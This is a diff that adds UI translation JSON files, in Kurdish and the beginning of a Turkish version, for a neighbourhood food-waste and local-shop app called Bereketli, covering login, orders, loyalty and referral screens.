||||||
@@ -0,0 +1,467 @@
|
|||||||
|
{
|
||||||
|
"common": {
|
||||||
|
"loading": "Tê barkirin...",
|
||||||
|
"error": "Xeletî",
|
||||||
|
"retry": "Dîsa biceribîne",
|
||||||
|
"cancel": "Betal bike",
|
||||||
|
"ok": "Baş e",
|
||||||
|
"save": "Tomar bike",
|
||||||
|
"delete": "Jê bibe",
|
||||||
|
"back": "Paş",
|
||||||
|
"next": "Pêş",
|
||||||
|
"close": "Bigire",
|
||||||
|
"search": "Lêgerîn",
|
||||||
|
"noResults": "Encam nehat dîtin",
|
||||||
|
"pullToRefresh": "Ji bo nûkirinê bikişîne",
|
||||||
|
"or": "an",
|
||||||
|
"confirm": "Piştrast bike",
|
||||||
|
"all": "Hemû",
|
||||||
|
"distance": "Dûrahî",
|
||||||
|
"goBack": "Vegere",
|
||||||
|
"saving": "Tê tomarkirin...",
|
||||||
|
"info": "Agahî"
|
||||||
|
},
|
||||||
|
"tabs": {
|
||||||
|
"paketler": "Pakêt",
|
||||||
|
"komsu": "Cîran",
|
||||||
|
"esnaf": "Dikan",
|
||||||
|
"hesabim": "Hesabê min"
|
||||||
|
},
|
||||||
|
"auth": {
|
||||||
|
"subtitle": "Serlêdana taxa te",
|
||||||
|
"emailOrPhone": "E-peyam an Telefon",
|
||||||
|
"emailPlaceholder": "mînak@email.com an 05xx...",
|
||||||
|
"password": "Şîfre",
|
||||||
|
"passwordPlaceholder": "Şîfreya te",
|
||||||
|
"loggingIn": "Tê ketin...",
|
||||||
|
"login": "Têkevê",
|
||||||
|
"googleLogin": "Bi Google re têkevê",
|
||||||
|
"noAccount": "Hesabê te tune?",
|
||||||
|
"registerLink": "Xwe tomar bike",
|
||||||
|
"loginErrorTitle": "Xeletî",
|
||||||
|
"loginErrorRequired": "E-peyam/telefon û şîfre pêwîst in",
|
||||||
|
"googleTokenError": "Tokena Google-ê nehat girtin",
|
||||||
|
"googlePlayError": "Xizmetên Google Play ne amade ne",
|
||||||
|
"googleLoginFailed": "Têketina Google-ê biserneket",
|
||||||
|
"registerTitle": "Xwe Tomar Bike",
|
||||||
|
"registerSubtitle": "Bi xêr hatî Bereketlî",
|
||||||
|
"fullName": "Nav û Paşnav",
|
||||||
|
"fullNamePlaceholder": "Nav û paşnavê te",
|
||||||
|
"email": "E-peyam",
|
||||||
|
"emailOnlyPlaceholder": "mînak@email.com",
|
||||||
|
"phoneOptional": "Telefon (Bijartî)",
|
||||||
|
"phonePlaceholder": "05xx xxx xx xx",
|
||||||
|
"passwordLabel": "Şîfre",
|
||||||
|
"passwordMinPlaceholder": "Herî kêm 8 tîp",
|
||||||
|
"confirmPassword": "Şîfreyê dubare bike",
|
||||||
|
"confirmPasswordPlaceholder": "Şîfreya xwe dubare binivîse",
|
||||||
|
"referralCodeOptional": "Koda Dawetê (Bijartî)",
|
||||||
|
"referralCodePlaceholder": "Heke koda dawetê hebe binivîse",
|
||||||
|
"registering": "Tê tomarkirin...",
|
||||||
|
"register": "Xwe Tomar Bike",
|
||||||
|
"haveAccount": "Hesabê te berê heye?",
|
||||||
|
"loginLink": "Têkevê",
|
||||||
|
"registerErrorRequired": "Nav, e-peyam û şîfre pêwîst in",
|
||||||
|
"registerErrorPasswordMin": "Şîfre divê herî kêm 8 tîp be",
|
||||||
|
"registerErrorPasswordMatch": "Şîfre hev nagirin"
|
||||||
|
},
|
||||||
|
"splash": {
|
||||||
|
"subtitle": "Serlêdana taxa te",
|
||||||
|
"tagline": "Pêşî li windabûna xwarinê bigire, bereketê parve bike"
|
||||||
|
},
|
||||||
|
"onboarding": {
|
||||||
|
"slide1Title": "Pêşî li Windabûna Xwarinê Bigire",
|
||||||
|
"slide1Desc": "Hilberên ku di dawiya rojê de li dikanan dimînin bi bihayên kêm bikire. Hem pere xilas bike, hem jî qenciyê bike.",
|
||||||
|
"slide2Title": "Taxa Xwe Bibîne",
|
||||||
|
"slide2Desc": "Firin, mêwefrosh, qesab, berber û hêj bêtir yên nêzîk bibîne. Xalên dilsoziyê berhev bike, xelatan bi dest bixe.",
|
||||||
|
"slide3Title": "Dest Pê Bike",
|
||||||
|
"slide3Desc": "Cihê xwe parve bike, pakêtên surprîz û dikanên nêzîk bibîne!",
|
||||||
|
"locationLabel": "Cih",
|
||||||
|
"locationDesc": "Pakêtên nêzîk nîşan bide",
|
||||||
|
"notificationLabel": "Agahdarî",
|
||||||
|
"notificationDesc": "Ji derfetan haydar be",
|
||||||
|
"skip": "Derbas bike",
|
||||||
|
"next": "Pêş →",
|
||||||
|
"start": "Dest Pê Bike",
|
||||||
|
"micLabel": "Mîkrofon",
|
||||||
|
"micDesc": "Ji bo axaftina bi arîkarê AI re",
|
||||||
|
"cameraLabel": "Kamera",
|
||||||
|
"cameraDesc": "Ji bo QR kod û wêne"
|
||||||
|
},
|
||||||
|
"locationPicker": {
|
||||||
|
"title": "Cih Hilbijêre",
|
||||||
|
"useMyLocation": "Cihê Min Bi Kar Bîne",
|
||||||
|
"confirm": "Piştrast Bike",
|
||||||
|
"permissionRequired": "Destûra Cihê Pêwîst E",
|
||||||
|
"permissionMessage": "Ji kerema xwe destûra cihê ji Mîhengan veke.",
|
||||||
|
"gpsError": "Sînyala GPS Nehat Girtin",
|
||||||
|
"gpsErrorMessage": "Li cihekî vekirî dîsa biceribîne an jî ji nexşeyê pînek hilbijêre."
|
||||||
|
},
|
||||||
|
"packages": {
|
||||||
|
"deliveryAddress": "Navnîşana radestkirinê",
|
||||||
|
"selectLocation": "Cih hilbijêre",
|
||||||
|
"searchPlaceholder": "Li pakêt an dikan bigere...",
|
||||||
|
"sortLabel": "Rêzkirin",
|
||||||
|
"sortDistance": "Dûrahî",
|
||||||
|
"sortPrice": "Biha",
|
||||||
|
"sortRating": "Puan",
|
||||||
|
"delivery": "Radeskirin",
|
||||||
|
"discounted": "Daxistî",
|
||||||
|
"lastFew": "Yên dawî",
|
||||||
|
"priceRange": "Navbera Bihayê",
|
||||||
|
"referralBannerTitle": "Dawet Bike & Qezenc Bike",
|
||||||
|
"referralBannerDesc": "Hevalê xwe bîne, xal qezenc bike!",
|
||||||
|
"categoryAll": "Hemû",
|
||||||
|
"categoryBakery": "Firin",
|
||||||
|
"categoryRestaurant": "Xwaringeh",
|
||||||
|
"categoryPastry": "Şîranî",
|
||||||
|
"categoryMarket": "Bazaṛ",
|
||||||
|
"nearbyPackages": "Pakêtên Nêzîk",
|
||||||
|
"categoryPackages": "Pakêtên {{category}}",
|
||||||
|
"packageCount": "{{count}} pakêt",
|
||||||
|
"emptyTitle": "Li nêzîk pakêt tune",
|
||||||
|
"emptyText": "Dûrahiyê zêde bike an jî \"Hemû\" biceribîne",
|
||||||
|
"notificationPermission": "Destûra Agahdariyê",
|
||||||
|
"notificationPermissionMsg": "Divê tu destûrê bidî agahdariyan. Tu dikarî ji Mîhengan destûrê bidî.",
|
||||||
|
"notificationsEnabled": "Agahdarî Hatin Vekirin",
|
||||||
|
"notificationsEnabledMsg": "Tu ê ji pakêt û kampanyayên nû haydar bibî!",
|
||||||
|
"notificationRegisterFailed": "Tomarkirina agahdariyê biserneket."
|
||||||
|
},
|
||||||
|
"packageDetail": {
|
||||||
|
"title": "Hûrguliyên Pakêtê",
|
||||||
|
"notFound": "Pakêt nehat dîtin",
|
||||||
|
"loadError": "Agahiyên pakêtê nehatin barkirin",
|
||||||
|
"description": "Danasîn",
|
||||||
|
"details": "Hûrgulî",
|
||||||
|
"priceLabel": "Biha",
|
||||||
|
"pickupTime": "Dema Radestkirinê",
|
||||||
|
"remaining": "Yên Mayî",
|
||||||
|
"status": "Rewş",
|
||||||
|
"statusActive": "Çalak",
|
||||||
|
"statusSoldOut": "Qediya",
|
||||||
|
"statusExpired": "Dema Wê Derbas Bû",
|
||||||
|
"deliveryMethod": "Awayê Radestkirinê",
|
||||||
|
"pickup": "Were Bistîne",
|
||||||
|
"deliveryToAddress": "Radestkirina Malê",
|
||||||
|
"deliveryAddressPlaceholder": "Navnîşana radestkirinê binivîse",
|
||||||
|
"deliveryAddressRequired": "Ji kerema xwe navnîşana radestkirinê binivîse",
|
||||||
|
"total": "Tevahî",
|
||||||
|
"purchasing": "Sifariş tê dayîn...",
|
||||||
|
"purchase": "Bikire",
|
||||||
|
"orderCreated": "Sifariş Hat Çêkirin",
|
||||||
|
"orderCreatedMsg": "Sifariş #{{orderId}}\nTevahî: {{price}} TL\n\nTê veguhastin bo rûpela dravdanê.",
|
||||||
|
"viewOrder": "Sifarişê Bibîne",
|
||||||
|
"orderFailed": "Sifariş nehat çêkirin. Dîsa biceribîne.",
|
||||||
|
"discount": "%{{percent}} Daxistin"
|
||||||
|
},
|
||||||
|
"orders": {
|
||||||
|
"title": "Sifarişên Min",
|
||||||
|
"orderCount": "{{count}} sifariş",
|
||||||
|
"qrPickup": "Radestkirina QR",
|
||||||
|
"tabPackages": "Pakêt",
|
||||||
|
"tabMeals": "Xwarina Cîran",
|
||||||
|
"emptyPackagesTitle": "Hîn sifarişa pakêtê tune",
|
||||||
|
"emptyPackagesText": "Ji beşa Pakêtan sifarişa xwe ya yekem bide",
|
||||||
|
"emptyMealsTitle": "Hîn sifarişa xwarinê tune",
|
||||||
|
"emptyMealsText": "Ji beşa Cîran xwarina malê sifariş bike",
|
||||||
|
"statusPending": "Li Bendê",
|
||||||
|
"statusPaid": "Hat Dayîn",
|
||||||
|
"statusPickedUp": "Hat Stendin",
|
||||||
|
"statusCancelled": "Hat Betalkirin",
|
||||||
|
"statusRefunded": "Hat Vegerandin",
|
||||||
|
"statusAccepted": "Hat Pejirandin",
|
||||||
|
"statusRejected": "Hat Redkirin",
|
||||||
|
"statusCompleted": "Qediya",
|
||||||
|
"mealOrderBadge": "Xwarina Cîran",
|
||||||
|
"portions": "{{count}} pors"
|
||||||
|
},
|
||||||
|
"orderDetail": {
|
||||||
|
"backLabel": "Paş",
|
||||||
|
"notFound": "Sifariş nehat dîtin",
|
||||||
|
"loadError": "Agahiyên sifarişê nehatin barkirin",
|
||||||
|
"pickupCode": "Koda Radestkirinê",
|
||||||
|
"tokenLabel": "Token",
|
||||||
|
"qrHint": "Vê koda QR-ê nîşanî xebatkarê dikanê bide",
|
||||||
|
"orderDetails": "Hûrguliyên Sifarişê",
|
||||||
|
"orderNo": "Jimara Sifarişê",
|
||||||
|
"quantity": "Hejmar",
|
||||||
|
"unitPrice": "Bihayê Yekîneyê",
|
||||||
|
"total": "Tevahî",
|
||||||
|
"date": "Dîrok",
|
||||||
|
"paymentDate": "Dîroka Dravdanê",
|
||||||
|
"pickupDate": "Dîroka Radestkirinê",
|
||||||
|
"cancelDate": "Dîroka Betalkirinê",
|
||||||
|
"cancelling": "Tê betalkirin...",
|
||||||
|
"cancelOrder": "Sifarişê Betal Bike",
|
||||||
|
"cancelTitle": "Betalkirina Sifarişê",
|
||||||
|
"cancelMessage": "Tu bawer î ku dixwazî vê sifarişê betal bikî?",
|
||||||
|
"cancelConfirm": "Betal Bike",
|
||||||
|
"cancelSuccess": "Sifarişa te hat betalkirin",
|
||||||
|
"cancelFailed": "Sifariş nehat betalkirin",
|
||||||
|
"reviewButton": "Şîrove Binivîse",
|
||||||
|
"reviewTitle": "Ezmûna Xwe Binirxîne",
|
||||||
|
"reviewPlaceholder": "Şîroveya te (bijartî)",
|
||||||
|
"reviewSubmitting": "Tê şandin...",
|
||||||
|
"reviewSubmit": "Bişîne",
|
||||||
|
"reviewRatingRequired": "Ji kerema xwe puanekê hilbijêre",
|
||||||
|
"reviewSuccess": "Şîroveya te hat tomarkirin!",
|
||||||
|
"reviewSuccessTitle": "Spas",
|
||||||
|
"reviewFailed": "Şîrove nehat şandin",
|
||||||
|
"reviewDone": "Şîroveya te hat tomarkirin. Spas!"
|
||||||
|
},
|
||||||
|
"mealOrderDetail": {
|
||||||
|
"qrHint": "Vê koda QR-ê nîşanî xwediyê xwarinê bide",
|
||||||
|
"portionLabel": "Pors",
|
||||||
|
"orderDate": "Dîroka Sifarişê",
|
||||||
|
"acceptDate": "Dîroka Pejirandinê",
|
||||||
|
"deliveryDate": "Dîroka Radestkirinê",
|
||||||
|
"cancelDate": "Dîroka Betalkirinê"
|
||||||
|
},
|
||||||
|
"qrScan": {
|
||||||
|
"title": "Radestkirina QR",
|
||||||
|
"verifying": "Tê piştrastkirin...",
|
||||||
|
"scanPrompt": "Koda QR Bixwîne",
|
||||||
|
"instructions": "Dema ku sifarişa xwe distînî, koda QR ya li dikanê bi kameraya xwe bixwîne",
|
||||||
|
"successTitle": "Hat Stendin!",
|
||||||
|
"successMessage": "Sifariş #{{orderId}} bi serkeftî hat stendin.\n\nTevahî: {{price}} TL",
|
||||||
|
"errorMessage": "Koda QR nehat piştrastkirin. Dîsa biceribîne.",
|
||||||
|
"retryButton": "Dîsa Biceribîne"
|
||||||
|
},
|
||||||
|
"search": {
|
||||||
|
"placeholder": "Li pakêt, dikan an kategoriyê bigere...",
|
||||||
|
"popularCategories": "Kategoriyên Populer",
|
||||||
|
"popularSearches": "Lêgerînên Populer",
|
||||||
|
"resultCount": "{{count}} encam hatin dîtin",
|
||||||
|
"emptyTitle": "Encam nehat dîtin",
|
||||||
|
"emptyText": "Peyveke din a lêgerînê biceribîne"
|
||||||
|
},
|
||||||
|
"meals": {
|
||||||
|
"title": "Xwarina Cîranan",
|
||||||
|
"subtitle": "Ji malê, teze, pêbawer",
|
||||||
|
"searchPlaceholder": "Li xwarin an aşpêj bigere...",
|
||||||
|
"nearbyMeals": "Xwarinên Nêzîk",
|
||||||
|
"mealCount": "{{count}} xwarin",
|
||||||
|
"pickup": "Were Bistîne",
|
||||||
|
"delivery": "Radeskirin",
|
||||||
|
"pickupOrDelivery": "Stendin / Radeskirin",
|
||||||
|
"lastPortions": "Yên dawî {{count}}!",
|
||||||
|
"perPortion": "/ pors",
|
||||||
|
"portionCount": "{{count}} pors",
|
||||||
|
"emptyTitle": "Li nêzîk xwarina malê tune",
|
||||||
|
"emptyText": "Dûrahiyê zêde bike an paşê dîsa binêre"
|
||||||
|
},
|
||||||
|
"mealDetail": {
|
||||||
|
"title": "Hûrguliyên Xwarinê",
|
||||||
|
"notFound": "Xwarin nehat dîtin",
|
||||||
|
"defaultCook": "Aşpêj",
|
||||||
|
"priceLabel": "Biha",
|
||||||
|
"pricePerPortion": "{{price}} TL / pors",
|
||||||
|
"availableUntil": "Amade",
|
||||||
|
"availableUntilValue": "Heta {{time}}",
|
||||||
|
"remainingLabel": "Mayî",
|
||||||
|
"remainingValue": "{{remaining}} / {{total}} pors",
|
||||||
|
"deliveryLabel": "Radeskirin",
|
||||||
|
"pickup": "Were Bistîne",
|
||||||
|
"deliveryToAddress": "Radestkirina Malê",
|
||||||
|
"pickupOrDelivery": "Stendin / Radeskirin",
|
||||||
|
"portionLabel": "Pors",
|
||||||
|
"total": "Tevahî",
|
||||||
|
"ordering": "Sifariş tê dayîn...",
|
||||||
|
"soldOut": "Qediya",
|
||||||
|
"order": "Sifariş Bide",
|
||||||
|
"orderSuccess": "Sifariş Hat Dayîn!",
|
||||||
|
"orderSuccessMsg": "Sifariş #{{orderId}}\n{{portions}} pors {{title}}\nTevahî: {{total}} TL\n\nDema ku aşpêj piştrast bike tu ê haydar bibî.",
|
||||||
|
"orderFailed": "Sifariş nehat çêkirin."
|
||||||
|
},
|
||||||
|
"merchants": {
|
||||||
|
"title": "Dikanên Taxê",
|
||||||
|
"subtitle": "Xal berhev bike, xelatan bi dest bixe",
|
||||||
|
"searchPlaceholder": "Li dikan bigere...",
|
||||||
|
"categoryAll": "Hemû",
|
||||||
|
"categoryBarber": "Berber",
|
||||||
|
"categoryCafe": "Qehwexane",
|
||||||
|
"categoryButcher": "Qesab",
|
||||||
|
"categoryGreengrocer": "Mêwefrosh",
|
||||||
|
"categoryBakery": "Firin",
|
||||||
|
"categoryPharmacy": "Dermanxane",
|
||||||
|
"categoryTailor": "Cildirû",
|
||||||
|
"categoryOther": "Yên Din",
|
||||||
|
"nearbyMerchants": "Dikanên Nêzîk",
|
||||||
|
"merchantCount": "{{count}} dikan",
|
||||||
|
"proPlan": "Dikana Pro",
|
||||||
|
"businessPlan": "Business",
|
||||||
|
"emptyTitle": "Li nêzîk dikan nehat dîtin",
|
||||||
|
"emptyText": "Dûrahiyê zêde bike an kategoriyeke din biceribîne"
|
||||||
|
},
|
||||||
|
"merchantDetail": {
|
||||||
|
"notFound": "Dikan nehat dîtin",
|
||||||
|
"phoneNotRegistered": "Jimara telefonê ne tomarkirî ye.",
|
||||||
|
"services": "Xizmet",
|
||||||
|
"products": "Hilber",
|
||||||
|
"surprisePackages": "Pakêtên Surprîz",
|
||||||
|
"buyButton": "Bikire",
|
||||||
|
"loyaltyProgram": "Bernameya Dilsoziyê",
|
||||||
|
"loyaltyJoinHint": "Di serdana yekem de tu ê xweber beşdar bibî",
|
||||||
|
"contact": "Têkilî",
|
||||||
|
"callSuffix": "Lê Bike",
|
||||||
|
"appointmentTitle": "Randevû Bistîne",
|
||||||
|
"appointmentTimes": "Demên amade yên sibê:",
|
||||||
|
"appointmentCreated": "Randevû Hat Çêkirin!",
|
||||||
|
"appointmentCreatedMsg": "{{service}}\n{{date}} saet {{time}}\n\nDema ku dikan piştrast bike tu ê haydar bibî.",
|
||||||
|
"appointmentFailed": "Randevû nehat çêkirin.",
|
||||||
|
"orderCreated": "Sifariş Hat Çêkirin!",
|
||||||
|
"orderFailed": "Sifariş nehat çêkirin",
|
||||||
|
"callAndOrder": "Lê Bike û Sifariş Bide",
|
||||||
|
"closeButton": "Bigire"
|
||||||
|
},
|
||||||
|
"profile": {
|
||||||
|
"title": "Hesabê Min",
|
||||||
|
"defaultUser": "Bikarhêner",
|
||||||
|
"editHint": "Biguherîne",
|
||||||
|
"editNameTitle": "Navê Xwe Biguherîne",
|
||||||
|
"namePlaceholder": "Navê te",
|
||||||
|
"nameRequired": "Nav nikare vala be",
|
||||||
|
"nameUpdateFailed": "Nav nehat guhertin",
|
||||||
|
"ordersLabel": "Sifarişên Min",
|
||||||
|
"appointmentsLabel": "Randevûyên Min",
|
||||||
|
"loyaltyLabel": "Dilsozî",
|
||||||
|
"discoverLabel": "Bibîne",
|
||||||
|
"surprisePackages": "Pakêtên Surprîz",
|
||||||
|
"surprisePackagesDesc": "Pakêtên daxistî yên nêzîk",
|
||||||
|
"neighborhoodMerchants": "Dikanên Taxê",
|
||||||
|
"neighborhoodMerchantsDesc": "Xal berhev bike, xelatan bi dest bixe",
|
||||||
|
"securityLabel": "Ewlekarî",
|
||||||
|
"changePassword": "Şîfreyê Biguherîne",
|
||||||
|
"supportLabel": "Piştgirî",
|
||||||
|
"faq": "Pirsên Pir Pirsîn",
|
||||||
|
"faqDesc": "18 pirs — bersivên rastîn",
|
||||||
|
"contactLabel": "Têkilî",
|
||||||
|
"contactEmail": "destek@bereketli.app",
|
||||||
|
"website": "Malpera Webê",
|
||||||
|
"websiteUrl": "bereketli.pezkiwi.app",
|
||||||
|
"version": "Guharto",
|
||||||
|
"logout": "Derkeve",
|
||||||
|
"logoutConfirm": "Tu bawer î ku dixwazî derkevî?",
|
||||||
|
"logoutCancel": "Betal Bike",
|
||||||
|
"deleteAccount": "Hesabê Min Jê Bibe",
|
||||||
|
"deleteAccountDesc": "Ev kiryar venegere",
|
||||||
|
"deleteAccountConfirm": "Ev kiryar venegere. Hesabê te û hemû daneyên te yên her û her ên tên jêbirin.",
|
||||||
|
"deleteAccountButton": "Hesabê Min Jê Bibe",
|
||||||
|
"deleteAccountFailed": "Hesab nehat jêbirin. Dîsa biceribîne.",
|
||||||
|
"language": "Ziman",
|
||||||
|
"selectLanguage": "Ziman Hilbijêre"
|
||||||
|
},
|
||||||
|
"changePassword": {
|
||||||
|
"title": "Şîfreyê Biguherîne",
|
||||||
|
"subtitle": "Ji bo ewlekariyê şîfreya xwe ya niha binivîse",
|
||||||
|
"currentPassword": "Şîfreya Niha",
|
||||||
|
"currentPasswordPlaceholder": "Şîfreya te ya niha",
|
||||||
|
"newPassword": "Şîfreya Nû",
|
||||||
|
"newPasswordPlaceholder": "Herî kêm 8 tîp",
|
||||||
|
"confirmPassword": "Şîfreya Nû Dubare Bike",
|
||||||
|
"confirmPasswordPlaceholder": "Şîfreya nû dubare binivîse",
|
||||||
|
"changing": "Tê guhertin...",
|
||||||
|
"change": "Şîfreyê Biguherîne",
|
||||||
|
"allFieldsRequired": "Ji kerema xwe hemû qadan dagire",
|
||||||
|
"passwordMinLength": "Şîfreya nû divê herî kêm 8 tîp be",
|
||||||
|
"passwordMismatch": "Şîfreyên nû hev nagirin",
|
||||||
|
"success": "Şîfreya te hat guhertin",
|
||||||
|
"successTitle": "Serkeftî",
|
||||||
|
"failed": "Şîfre nehat guhertin. Şîfreya xwe ya niha kontrol bike."
|
||||||
|
},
|
||||||
|
"faq": {
|
||||||
|
"title": "Pirsên Pir Pirsîn",
|
||||||
|
"categoryAll": "Hemû",
|
||||||
|
"categoryGenel": "Giştî",
|
||||||
|
"categoryCustomers": "Kiriyar",
|
||||||
|
"categoryBusinesses": "Karsazî",
|
||||||
|
"categoryPayment": "Dravdan",
|
||||||
|
"empty": "Hîn pirs nehatine zêdekirin"
|
||||||
|
},
|
||||||
|
"appointments": {
|
||||||
|
"title": "Randevûyên Min",
|
||||||
|
"statusPending": "Li Bendê",
|
||||||
|
"statusConfirmed": "Hat Pejirandin",
|
||||||
|
"statusCompleted": "Qediya",
|
||||||
|
"statusCancelled": "Hat Betalkirin",
|
||||||
|
"statusNoShow": "Nehat",
|
||||||
|
"cancelTitle": "Betalkirina Randevûyê",
|
||||||
|
"cancelMessage": "Tu bawer î ku dixwazî vê randevûyê betal bikî?",
|
||||||
|
"cancelConfirm": "Betal Bike",
|
||||||
|
"cancelFailed": "Randevû nehat betalkirin.",
|
||||||
|
"durationMin": "{{min}} deq",
|
||||||
|
"emptyTitle": "Hîn randevûya te tune",
|
||||||
|
"emptyText": "Ji beşa Dikanan bi berber an cildirûyê re randevû bistîne",
|
||||||
|
"days": {
|
||||||
|
"sunday": "Yekşem",
|
||||||
|
"monday": "Duşem",
|
||||||
|
"tuesday": "Sêşem",
|
||||||
|
"wednesday": "Çarşem",
|
||||||
|
"thursday": "Pêncşem",
|
||||||
|
"friday": "În",
|
||||||
|
"saturday": "Şemî"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"loyalty": {
|
||||||
|
"title": "Kartên Dilsoziya Min",
|
||||||
|
"stampUnit": "mohr",
|
||||||
|
"pointUnit": "xal",
|
||||||
|
"visitUnit": "serdan",
|
||||||
|
"redeemButton": "Xelatê Bistîne",
|
||||||
|
"notReady": "Hîn amade nîne",
|
||||||
|
"notReadyMsg": "{{progress}} temam bike da ku xelatê xwe bistînî.",
|
||||||
|
"redeemTitle": "Xelatê Bistîne",
|
||||||
|
"redeemMessage": "{{reward}}\n\nTu dixwazî xelatê xwe bistînî?",
|
||||||
|
"redeemSuccess": "Pîroz be!",
|
||||||
|
"redeemSuccessMsg": "Xelata te hat bikaranîn.",
|
||||||
|
"redeemFailed": "Xelat nehat stendin",
|
||||||
|
"lastVisit": "Serdana dawî: {{date}}",
|
||||||
|
"emptyTitle": "Hîn karta dilsoziyê tune",
|
||||||
|
"emptyText": "Ji dikanên taxê kirîn bike û xalan berhev bike",
|
||||||
|
"exploreMerchants": "Dikanan Bibîne"
|
||||||
|
},
|
||||||
|
"chat": {
|
||||||
|
"title": "Alîkarê Bereketlî",
|
||||||
|
"placeholder": "Peyama xwe binivîse...",
|
||||||
|
"greeting": "Silav! Ez alîkarê Bereketlî me. Ez çawa dikarim alîkariya te bikim?",
|
||||||
|
"typing": "dinivîse...",
|
||||||
|
"error": "Bersiv nehat girtin, dîsa biceribîne",
|
||||||
|
"suggestPackages": "Pakêtên li nêzîk",
|
||||||
|
"suggestFood": "Ez çi bixwim?",
|
||||||
|
"suggestStore": "Dikanek pêşniyar bike",
|
||||||
|
"suggestHez": "HEZ Coin çi ye?",
|
||||||
|
"listening": "Guhdarî dikim...",
|
||||||
|
"voiceError": "Naskirina deng bi ser neket, dîsa biceribîne",
|
||||||
|
"holdToTalk": "Pêl bide û biaxive"
|
||||||
|
},
|
||||||
|
"referral": {
|
||||||
|
"title": "Dawet Bike & Qezenc Bike",
|
||||||
|
"totalPoints": "Xalên Te yên Tevahî",
|
||||||
|
"pointsUnit": "xal",
|
||||||
|
"inviteLabel": "Dawet",
|
||||||
|
"completedLabel": "Temam",
|
||||||
|
"earnedLabel": "Qezenckirî",
|
||||||
|
"codeTitle": "Koda Daweta Te",
|
||||||
|
"copy": "Kopî Bike",
|
||||||
|
"copied": "Hat Kopîkirin",
|
||||||
|
"copiedMsg": "Koda daweta te: {{code}}",
|
||||||
|
"whatsappShare": "Bi WhatsApp-ê Parve Bike",
|
||||||
|
"share": "Parve Bike",
|
||||||
|
"shareText": "Were Bereketlî, em bi hev re qezenc bikin! Koda daweta min: {{code}}\nhttps://bereketli.pezkiwi.app/davet/{{code}}",
|
||||||
|
"howItWorks": "Çawa Dixebite?",
|
||||||
|
"step1Title": "Hevalê te xwe tomar dike",
|
||||||
|
"step1Desc": "{{points}}+ xal qezenc bike",
|
||||||
|
"step2Title": "Sifarişa yekem dide",
|
||||||
|
"step2Desc": "100 xal qezenc bike",
|
||||||
|
"step3Title": "Çiqas zêde dawet bikî",
|
||||||
|
"step3Desc": "Ewqas zêde xal qezenc dikî!",
|
||||||
|
"usePoints": "Xalên Xwe Bi Kar Bîne",
|
||||||
|
"usePoints1Title": "Daxistinên li pakêtan",
|
||||||
|
"usePoints1Desc": "Pêşniyarên dikanan",
|
||||||
|
"usePoints2Title": "Veguherîne HEZ Coin",
|
||||||
|
"usePoints2Desc": "Nêzîk e",
|
||||||
|
"historyTitle": "Dîroka Dawetan",
|
||||||
|
"historyEmpty": "Hîn dawet tune",
|
||||||
|
"historyEmptyText": "Koda xwe parve bike û dest bi qezenckirin bike"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,467 @@
|
|||||||
|
{
|
||||||
|
"common": {
|
||||||
|
"loading": "Yukleniyor...",
|
||||||
|
"error": "Hata",
|
||||||
|
"retry": "Tekrar Dene",
|
||||||
|
"cancel": "Vazgec",
|
||||||
|
"ok": "Tamam",
|
||||||
|
"save": "Kaydet",
|
||||||
|
"delete": "Sil",
|
||||||
|
"back": "Geri",
|
||||||
|
"next": "Ileri",
|
||||||
|
"close": "Kapat",
|
||||||
|
"search": "Ara",
|
||||||
|
"noResults": "Sonuc bulunamadi",
|
||||||
|
"pullToRefresh": "Yenilemek icin cekin",
|
||||||
|
"or": "veya",
|
||||||
|
"confirm": "Onayla",
|
||||||
|
"all": "Tumu",
|
||||||
|
"distance": "Mesafe",
|
||||||
|
"goBack": "Geri Don",
|
||||||
|
"saving": "Kaydediliyor...",
|
||||||
|
"info": "Bilgi"
|
||||||
|
},
|
||||||
|
"tabs": {
|
||||||
|
"paketler": "Paketler",
|
||||||
|
"komsu": "Komsu",
|
||||||
|
"esnaf": "Esnaf",
|
||||||
|
"hesabim": "Hesabim"
|
||||||
|
},
|
||||||
|
"auth": {
|
||||||
|
"subtitle": "Mahallenin uygulamasi",
|
||||||
|
"emailOrPhone": "Email veya Telefon",
|
||||||
|
"emailPlaceholder": "ornek@email.com veya 05xx...",
|
||||||
|
"password": "Sifre",
|
||||||
|
"passwordPlaceholder": "Sifreniz",
|
||||||
|
"loggingIn": "Giris yapiliyor...",
|
||||||
|
"login": "Giris Yap",
|
||||||
|
"googleLogin": "Google ile Giris Yap",
|
||||||
|
"noAccount": "Hesabiniz yok mu?",
|
||||||
|
"registerLink": "Kayit Olun",
|
||||||
|
"loginErrorTitle": "Hata",
|
||||||
|
"loginErrorRequired": "Email/telefon ve sifre gerekli",
|
||||||
|
"googleTokenError": "Google giris token alinamadi",
|
||||||
|
"googlePlayError": "Google Play Services kullanilabilir degil",
|
||||||
|
"googleLoginFailed": "Google giris basarisiz",
|
||||||
|
"registerTitle": "Kayit Ol",
|
||||||
|
"registerSubtitle": "Bereketli'ye hosgeldiniz",
|
||||||
|
"fullName": "Ad Soyad",
|
||||||
|
"fullNamePlaceholder": "Adiniz Soyadiniz",
|
||||||
|
"email": "Email",
|
||||||
|
"emailOnlyPlaceholder": "ornek@email.com",
|
||||||
|
"phoneOptional": "Telefon (Opsiyonel)",
|
||||||
|
"phonePlaceholder": "05xx xxx xx xx",
|
||||||
|
"passwordLabel": "Sifre",
|
||||||
|
"passwordMinPlaceholder": "En az 8 karakter",
|
||||||
|
"confirmPassword": "Sifre Tekrar",
|
||||||
|
"confirmPasswordPlaceholder": "Sifrenizi tekrarlayin",
|
||||||
|
"referralCodeOptional": "Davet Kodu (Opsiyonel)",
|
||||||
|
"referralCodePlaceholder": "Varsa davet kodunu girin",
|
||||||
|
"registering": "Kayit yapiliyor...",
|
||||||
|
"register": "Kayit Ol",
|
||||||
|
"haveAccount": "Zaten hesabiniz var mi?",
|
||||||
|
"loginLink": "Giris Yapin",
|
||||||
|
"registerErrorRequired": "Isim, email ve sifre gerekli",
|
||||||
|
"registerErrorPasswordMin": "Sifre en az 8 karakter olmali",
|
||||||
|
"registerErrorPasswordMatch": "Sifreler eslesmhiyor"
|
||||||
|
},
|
||||||
|
"splash": {
|
||||||
|
"subtitle": "Mahallenin uygulamasi",
|
||||||
|
"tagline": "Gida israfini onle, bereket paylas"
|
||||||
|
},
|
||||||
|
"onboarding": {
|
||||||
|
"slide1Title": "Gida Israfini Onle",
|
||||||
|
"slide1Desc": "Magazalarin gun sonunda kalan kaliteli urunlerini indirimli fiyatlarla al. Hem tasarruf et, hem dunyaya iyilik yap.",
|
||||||
|
